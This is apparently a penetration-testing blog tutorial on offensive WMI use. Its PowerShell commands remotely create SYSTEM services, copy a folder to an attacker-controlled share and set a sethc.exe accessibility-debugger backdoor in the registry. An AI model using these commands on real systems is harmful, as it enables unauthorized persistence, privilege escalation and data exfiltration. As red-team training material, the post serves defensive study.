Getting Started with WMI Weaponization – Part 3
Administrative Tasks with WMI
Substantive changes to the configuration of a system can be made with WMI. These are often overlooked as there are other and less obscure methods to accomplish the same goal. That said, the ability to run these commands remotely through a different medium make these classes quite capable.
Service Creation
Let’s examine the Win32_Service class the same way we did in the previous post:
(Get-CimClass -ClassName Win32_Service).CimClassMethods Name ReturnType Parameters Qualifiers ---- ---------- ---------- ---------- StartService UInt32 {} {Mappin... StopService UInt32 {} {Mappin... PauseService UInt32 {} {Mappin... ResumeService UInt32 {} {Mappin... InterrogateService UInt32 {} {Mappin... UserControlService UInt32 {ControlCode} {Mappin... Create UInt32 {DesktopInteract, DisplayName, ErrorControl, LoadOrderGroup...} {Mappin... Change UInt32 {DesktopInteract, DisplayName, ErrorControl, LoadOrderGroup...} {Mappin... ChangeStartMode UInt32 {StartMode} {Mappin... Delete UInt32 {} {Mappin... GetSecurityDescriptor UInt32 {Descriptor} {implem... SetSecurityDescriptor UInt32 {Descriptor} {implem...
Filtering down we can find a create method.
(Get-CimClass -ClassName Win32_Service).CimClassMethods | ? Name -Like Create Name ReturnType Parameters Qualifiers ---- ---------- ---------- ---------- Create UInt32 {DesktopInteract, DisplayName, ErrorControl, LoadOrderGroup...} {MappingStrings, Static, ValueMap}
Nice! We have located a create method within the Win32_Service class. Let’s see what parameters it takes:
((Get-CimClass -ClassName Win32_Service).CimClassMethods | ? Name -Like Create).Parameters Name CimType Qualifiers ReferenceClassName ---- ------- ---------- ------------------ DesktopInteract Boolean {ID, In, MappingStrings} DisplayName String {ID, In, MappingStrings} ErrorControl UInt8 {ID, In, MappingStrings} LoadOrderGroup String {ID, In, MappingStrings} LoadOrderGroupDependencies StringArray {ID, In, MappingStrings} Name String {ID, In, MappingStrings} PathName String {ID, In, MappingStrings} ServiceDependencies StringArray {ID, In, MappingStrings} ServiceType UInt8 {BitMap, ID, In, MappingStrings} StartMode String {ID, In, MappingStrings, ValueMap} StartName String {ID, In, MappingStrings} StartPassword String {ID, In, MappingStrings}
Now that we have collected all of the relevant information about creating a service, lets fill in the parameters. Note: The MOF above is position sensitive.
$ServiceType = [byte] 16 $ErrorControl = [byte] 1 Invoke-WmiMethod -Class Win32_Service -Name Create -ArgumentList ` $false,` "WMI Created Service",` $errorcontrol,` $null,` $null,` "WMICreatedService",` "C:\Program Files (x86)\PuTTY\plink.exe",` $null,` $servicetype,` "Manual",` "NT AUTHORITY\SYSTEM",` "" __GENUS : 2 __CLASS : __PARAMETERS __SUPERCLASS : __DYNASTY : __PARAMETERS __RELPATH : __PROPERTY_COUNT : 1 __DERIVATION : {} __SERVER : __NAMESPACE : __PATH : ReturnValue : 0 PSComputerName :
So now we have shown that is possible to remotely create a service on a host without binding to the service controller on the remote host.
File Manipulation
File manipulation is also possible and made MUCH simpler and easier via the CIM classes. In this instance the CIM_DataFile is going to be our friend.
Let’s start off with a simple example:
$File = Get-WmiObject -Query "SELECT * FROM CIM_DataFile WHERE Name = 'C:\\Windows\\System.ini'" -ComputerName 10.1.1.1
We selected all attributes from the CIM_DataFile class for the system.ini file and placed them in the variable $File.
$File Compressed : False Encrypted : False Size : Hidden : False Name : c:\windows\system.ini Readable : True System : False Version : Writeable : True
That’s interesting, we have more information about the attributes of the system.ini file.
Let’s what else is accessible via that variable.
$File | gm TypeName: System.Management.ManagementObject#root\cimv2\CIM_DataFile Name MemberType Definition ---- ---------- ---------- PSComputerName AliasProperty PSComputerName = __SERVER ChangeSecurityPermissions Method System.Management.ManagementBaseObject ChangeSecurityPermissio... ChangeSecurityPermissionsEx Method System.Management.ManagementBaseObject ChangeSecurityPermissio... Compress Method System.Management.ManagementBaseObject Compress() CompressEx Method System.Management.ManagementBaseObject CompressEx(System.Strin... Copy Method System.Management.ManagementBaseObject Copy(System.String File... CopyEx Method System.Management.ManagementBaseObject CopyEx(System.String Fi... Delete Method System.Management.ManagementBaseObject Delete() DeleteEx Method System.Management.ManagementBaseObject DeleteEx(System.String ... GetEffectivePermission Method System.Management.ManagementBaseObject GetEffectivePermission(... Rename Method System.Management.ManagementBaseObject Rename(System.String Fi... TakeOwnerShip Method System.Management.ManagementBaseObject TakeOwnerShip() TakeOwnerShipEx Method System.Management.ManagementBaseObject TakeOwnerShipEx(System.... Uncompress Method System.Management.ManagementBaseObject Uncompress() UncompressEx Method System.Management.ManagementBaseObject UncompressEx(System.Str... AccessMask Property uint32 AccessMask {get;set;} Archive Property bool Archive {get;set;} Caption Property string Caption {get;set;} Compressed Property bool Compressed {get;set;} CompressionMethod Property string CompressionMethod {get;set;} CreationClassName Property string CreationClassName {get;set;} CreationDate Property string CreationDate {get;set;} CSCreationClassName Property string CSCreationClassName {get;set;} CSName Property string CSName {get;set;} Description Property string Description {get;set;} Drive Property string Drive {get;set;} EightDotThreeFileName Property string EightDotThreeFileName {get;set;} Encrypted Property bool Encrypted {get;set;} EncryptionMethod Property string EncryptionMethod {get;set;} Extension Property string Extension {get;set;} FileName Property string FileName {get;set;} FileSize Property uint64 FileSize {get;set;} FileType Property string FileType {get;set;} [Truncated] PSStatus PropertySet PSStatus {Status, Name} ConvertFromDateTime ScriptMethod System.Object ConvertFromDateTime(); ConvertToDateTime ScriptMethod System.Object ConvertToDateTime();
Yikes! When I first ran that, I was genuinely surprised how much was available.
I wonder if we can remotely copy a file on the remote system:
$file.copy("C:\\System.ini") __GENUS : 2 __CLASS : __PARAMETERS __SUPERCLASS : __DYNASTY : __PARAMETERS __RELPATH : __PROPERTY_COUNT : 1 __DERIVATION : {} __SERVER : __NAMESPACE : __PATH : ReturnValue : 0 PSComputerName :
Coooool, and just to verify that it was copied.
Get-WmiObject -Class CIM_DataFile -Filter "Name = 'c:\\system.ini'" Compressed : False Encrypted : False Size : Hidden : False Name : c:\system.ini Readable : True System : False Version : Writeable : True
This process isn’t just limited to just files, we can do the same to directories:
$Folder = Get-WmiObject -Query "SELECT * FROM Win32_Directory WHERE Name = 'C:\\SuperSecretFolder'" $Folder.Copy('\\AttackerSystem\SHARE\MineNow') __GENUS : 2 __CLASS : __PARAMETERS __SUPERCLASS : __DYNASTY : __PARAMETERS __RELPATH : __PROPERTY_COUNT : 1 __DERIVATION : {} __SERVER : __NAMESPACE : __PATH : ReturnValue : 0 PSComputerName :
List Directory File Contents
It is also possible to list the files in a directory:
Get-CimInstance -Query "SELECT * FROM CIM_DataFile WHERE Drive = 'C:' AND Path = '\\'" Compressed : False Encrypted : False Size : Hidden : True Name : c:\bootnxt Readable : True System : True Version : Writeable : True Compressed : False Encrypted : False Size : Hidden : True Name : c:\pagefile.sys Readable : True System : True Version : Writeable : True Compressed : False Encrypted : False Size : Hidden : True Name : c:\swapfile.sys Readable : True System : True Version : Writeable : True
Or more succinctly:
(Get-CimInstance -Query "SELECT * FROM CIM_DataFile WHERE Drive = 'C:' AND Path = '\\'").Name c:\pagefile.sys c:\swapfile.sys
Huh, it even shows hidden system files.
List Files and Sub Directories
PS C:\Users\aleary> Get-CimInstance -Query "SELECT * FROM Win32_Directory WHERE Drive = 'C:' AND Path = '\\'" Name Hidden Archive Writeable LastModified ---- ------ ------- --------- ------------ c:\$getcurrent True False True 2/21/2017 11:07:20 AM c:\$recycle.bin True False True 3/9/2017 12:18:45 PM c:\documents ... True False True 11/17/2015 7:46:04 PM c:\go False True True 7/7/2016 10:27:13 AM c:\msocache True False False 9/11/2016 12:20:52 AM c:\program files False False False 3/8/2017 2:26:24 PM c:\program fi... False False False 2/20/2017 9:22:27 PM c:\programdata True False True 3/21/2017 9:45:46 AM c:\python27 False True True 7/8/2016 3:43:42 PM c:\recovery True False True 12/7/2016 10:18:35 AM c:\system vol... True False True 3/27/2017 8:58:03 PM c:\temp False False True 3/24/2017 3:13:06 PM c:\users False False False 3/9/2017 12:17:24 PM c:\windows False False True 3/27/2017 10:10:51 PM
Registry Manipulation
Like the service controller and admin shares before, it is also possible to interact with the registry while avoiding SMB.
Let’s look to see if the accessibility options on the remote system have been hooked.
[uint32]$HKLM = 2147483650 $Key = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options" (Invoke-WmiMethod -Class StdRegProv -Name EnumKey -ArgumentList $HKLM, $Key).sNames | Select-String sethc.exe
Nope, well let’s fix that:
Invoke-WmiMethod -Class StdRegProv -Name CreateKey -ArgumentList $HKLM, "$Key\sethc.exe" __GENUS : 2 __CLASS : __PARAMETERS __SUPERCLASS : __DYNASTY : __PARAMETERS __RELPATH : __PROPERTY_COUNT : 1 __DERIVATION : {} __SERVER : __NAMESPACE : __PATH : ReturnValue : 0 PSComputerName :
Key created, now for the entry:
Invoke-WmiMethod -Class StdRegProv -Name SetStringValue -ArgumentList $HKLM, "$Key\sethc.exe", "cmd.exe", "Debugger" __GENUS : 2 __CLASS : __PARAMETERS __SUPERCLASS : __DYNASTY : __PARAMETERS __RELPATH : __PROPERTY_COUNT : 1 __DERIVATION : {} __SERVER : __NAMESPACE : __PATH : ReturnValue : 0 PSComputerName :
As we can see, even if port 445 is inaccessible, it is still possible to preform many of the same functions over WMI.
In the next post we will explore how other administrative functions can be leveraged to gain access to files.
Explore more blog posts
Celebrating NetSPI’s Partners of the Year 2024
Congratulations to NetSPI’s 2024 Partner of the Year Recipients Defy Security, VLCM, Softcat, Enduir, Evotek, and AWS
Exploiting Second Order SQL Injection with Stored Procedures
Learn how to detect and exploit second-order SQL injection vulnerabilities using Out-of-Band (OOB) techniques, including leveraging DNS requests for data extraction.
CTEM Defined: The Fundamentals of Continuous Threat Exposure Management
Learn how continuous threat exposure management (CTEM) boosts cybersecurity with proactive strategies to assess, manage, and reduce risks.